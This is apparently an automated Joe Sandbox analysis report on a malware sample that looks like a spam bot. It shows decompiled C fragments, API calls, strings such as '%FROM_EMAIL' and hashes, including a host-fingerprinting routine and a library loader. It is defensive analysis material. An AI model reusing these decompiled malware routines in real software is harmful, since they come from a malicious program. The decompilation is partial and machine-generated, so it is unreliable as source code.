Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 00429411, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004294C4

Strings

jjj, xrefs: 00429460
t/j, xrefs: 004294B1

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction ID: a83089444df744a4980045102e6cd73066ddebd1480540b39a6b724df2f44a2d
Opcode Fuzzy Hash: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction Fuzzy Hash: F9213A74B04218FBDB30EB88F945B9E3370EB04304FA0816AE50553291D3799E52CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C7086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 006C70A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 006C70DD

Strings

|, xrefs: 006C70CF

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 85baf523b565a8328478dc2a688b5d29a59c334586af57f63284deddf6ed2640
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: E411E872904158EBDB22DBD5CC84FEEB7BDEB04701F1841AAE502E6590D6709B989FA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00424DD1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424DEE

Part of subcall function 004248C0: __crt_wait_module_handle.LIBCMTD ref: 0042490C

__initptd.LIBCMTD ref: 00424E02

Part of subcall function 00424C30: __crt_wait_module_handle.LIBCMTD ref: 00424C67
Part of subcall function 00424C30: ___addlocaleref.LIBCMTD ref: 00424D50

Strings

pZC, xrefs: 00424E36, 00424E39

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __crt_wait_module_handle$___addlocaleref__encode_pointer__initptd
String ID: pZC
API String ID: 3882771057-70325430
Opcode ID: 6362fb76dbcda7484c761d287d339994c518291683a692c9920bf00d36b190bb
Instruction ID: 3fa0370ec65d73e461bb655a27eb65eedf8c8e70ddf00cc70b9317b9b682ca8f
Opcode Fuzzy Hash: 6362fb76dbcda7484c761d287d339994c518291683a692c9920bf00d36b190bb
Instruction Fuzzy Hash: 4901A2B9E00204EBC710DFE4FC85A9EBB70FB88304F104299E404A7390DA359680CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BFAD, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0041BFDD

Strings

h\"@, xrefs: 0041BFD8
h8"@, xrefs: 0041BFD3

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __invalid_parameter
String ID: h8"@$h\"@
API String ID: 3730194576-2130434895
Opcode ID: 08aebfed9f9ac783776887419b53d58a8ffa467ef6a7387bc7e70ea58fa0cbaa
Instruction ID: 6efa95020855ac45ced6eb105a6651ed7dfb7b84d58c3521da03af6d70b6f40d
Opcode Fuzzy Hash: 08aebfed9f9ac783776887419b53d58a8ffa467ef6a7387bc7e70ea58fa0cbaa
Instruction Fuzzy Hash: 09D02B70BC0204B5DA1035C05E07B1735108720705F6205EBF505B81C2D5FE458245FF

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,7554F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,7519EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Function 006C3172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006C2F71: GetModuleHandleA.KERNEL32(?), ref: 006C2F8A
Part of subcall function 006C2F71: LoadLibraryA.KERNEL32(?), ref: 006C2F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 006C31C3
HeapFree.KERNEL32(00000000), ref: 006C31CA

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: d72fdf5fca211e67029935504522626dc2b6c552e1de8759dec6532be5b20fdd
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: 5D519D7190026AAFCF019F64D888AFAB7B6FF15304B14856DEC96C7310E7729B19CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3BC6.exe PID: 6244 Parent PID: 3472 3BC6.exeCOMMON

Executed Functions

Function 04FBAD68, Relevance: 1.7, Strings: 1, Instructions: 422
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 04FBB200

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b3e20e410d17499dd432aa4d02ac0696b46035d375b18697276ba60abc833b55
Instruction ID: dff51eec53c8a6317351fead31e70d813f1112f41b8bdcaf2711f265a3fef814
Opcode Fuzzy Hash: b3e20e410d17499dd432aa4d02ac0696b46035d375b18697276ba60abc833b55
Instruction Fuzzy Hash: 22025D70A00204DFDB19DFA6C894AEE7BB2EF89305F148468E4469B395DB35EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04FBA430, Relevance: .6, Instructions: 619COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58454605fd5dc48396328b03543ad6d94d2d95e8be4becf221b49ed9976a83bc
Instruction ID: 83eb323d2d3ccf29fc6423f83a5ff93802a5171994bed411d6b85a062e588484
Opcode Fuzzy Hash: 58454605fd5dc48396328b03543ad6d94d2d95e8be4becf221b49ed9976a83bc
Instruction Fuzzy Hash: 85324C34B00204CFDB15DF69C584AAEBBF2AF89304F1584A9E545DB3A1DB35ED42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04FB2C88, Relevance: .4, Instructions: 421COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d214c5bf4eea3939897e56303479769cc2581b5ad01453cfe785a39ba7a130
Instruction ID: 33a247f9e28f00b88e6c379e1beffc3fe298d001ac14d1987acbfa3a508213a7
Opcode Fuzzy Hash: 17d214c5bf4eea3939897e56303479769cc2581b5ad01453cfe785a39ba7a130
Instruction Fuzzy Hash: 5C027E35A00705CFDB25DF6AC584A9ABBF2FF49300F158569E4869B761DB34F846CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02958330, Relevance: 1.6, APIs: 1, Instructions: 96
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 0295841F

Memory Dump Source

Source File: 0000001E.00000002.411523544.0000000002950000.00000040.00000001.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2950000_3BC6.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ff7036ba62abea23bee233942df9eefd89f124b4cafbdbbd81eaaf451cba89dc
Instruction ID: fab244255e69f0910fb5b4c70e8aa92af4443be5f45b19bd6c4f3e64ed71199c
Opcode Fuzzy Hash: ff7036ba62abea23bee233942df9eefd89f124b4cafbdbbd81eaaf451cba89dc
Instruction Fuzzy Hash: 104114B0E002688FDB10CFA9C88579EBBF5FB48314F148529E819A7384DB749886CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04FB8CD0, Relevance: 1.6, Strings: 1, Instructions: 345
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p\i, xrefs: 04FB903C

Memory Dump Source

